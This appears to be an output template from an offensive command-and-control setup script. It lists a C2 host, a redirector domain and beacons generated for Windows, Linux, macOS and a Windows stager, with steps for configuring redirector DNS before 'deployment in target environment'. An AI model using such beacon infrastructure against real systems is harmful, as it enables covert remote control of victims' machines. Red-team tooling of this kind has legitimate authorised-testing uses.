C2 Server Details:
|
|
- C2 IP: $C2_HOST
|
|
- Redirector Domain: $REDIRECTOR_HOST
|
|
|
|
Beacons Generated ($(date)):
|
|
- Windows EXE: $win_output (Profile: $win_profile)
|
|
- Windows DLL: $dll_output (Profile: $dll_profile)
|
|
- Linux Binary: $linux_output (Profile: $linux_profile)
|
|
- macOS Binary: $mac_output (Profile: $mac_profile)
|
|
- Windows Stager: staged/$stager_win (Profile: $stager_profile)
|
|
|
|
Usage:
|
|
1. Ensure your redirector is properly configured to forward requests to the C2 server
|
|
2. Update DNS for $REDIRECTOR_HOST to point to your redirector IP
|
|
3. Test connectivity before deployment in target environment
|
|
|
|
IMPORTANT: These beacons will connect to $REDIRECTOR_HOST on port $REDIRECTOR_PORT
